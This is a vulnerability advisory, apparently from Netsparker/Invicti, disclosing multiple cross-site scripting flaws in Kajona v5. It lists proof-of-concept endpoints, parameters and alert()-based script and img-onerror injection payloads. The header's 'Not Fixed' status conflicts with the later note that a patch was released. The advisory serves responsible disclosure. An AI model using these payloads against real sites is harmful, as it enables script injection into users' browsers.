Multiple Cross-site Scripting Vulnerabilities Identified in Kajona v5
Information
Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in Kajona v5
Affected Software: Kajona v5
Affected Versions: v5 and possibly below
Vendor Homepage: https://www.kajona.de/
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-16-011
Technical Details
Proof of Concept URLs for XSS vulnerabilities in Kajona v5:
URL: /kajona/index.php?page=eventmanager&systemid=2b8fb44577abc1544ef2&action=saveRegisterForEvent
Parameter Name: comment
Parameter Type: POST
Attack Pattern: </title></textarea><scRipt>alert(9)</scRipt>
URL: /kajona/index.php?page=downloads&systemid="><iMg src=N onerror=alert(9)>&action=mediaFolder
Proof URL: /kajona/index.php?page=downloads&systemid="><iMg src=N onerror=alert(9)>&action=mediaFolder
Parameter Name: systemid
Parameter Type: GET
Attack Pattern: "><iMg src=N onerror=alert(9)>
URL: /kajona/index.php?page=eventmanager&systemid=2b8fb44577abc1544ef2&action=saveRegisterForEvent
Parameter Name: forename
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x004430)</scRipt>
URL: /kajona/index.php?page=eventmanager&systemid=2b8fb44577abc1544ef2&action=saveRegisterForEvent
Parameter Name: email
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x004434)</scRipt>
URL: /kajona/index.php?page=eventmanager&systemid=2b8fb44577abc1544ef2&action=saveRegisterForEvent
Parameter Name: phone
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x004436)</scRipt>
URL: /kajona/index.php?page=votings&action=submitVoting
Parameter Name: systemid
Parameter Type: POST
Attack Pattern: "><iMg src=N onerror=alert(9)>
URL: /kajona/index.php?page=eventmanager&systemid=2b8fb44577abc1544ef2&action=saveRegisterForEvent
Parameter Name: lastname
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x004432)</scRipt>
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
01 Aug 2016 – First Contact
05 Aug 2016 – Vendor Replied
09 Aug 2016 – Advisory Released
Solution
Patch released by Kajona and announced here.
Credits & Authors
These issues have been discovered by Alperen Yilmaz while testing Invicti Web Application Security Scanner.
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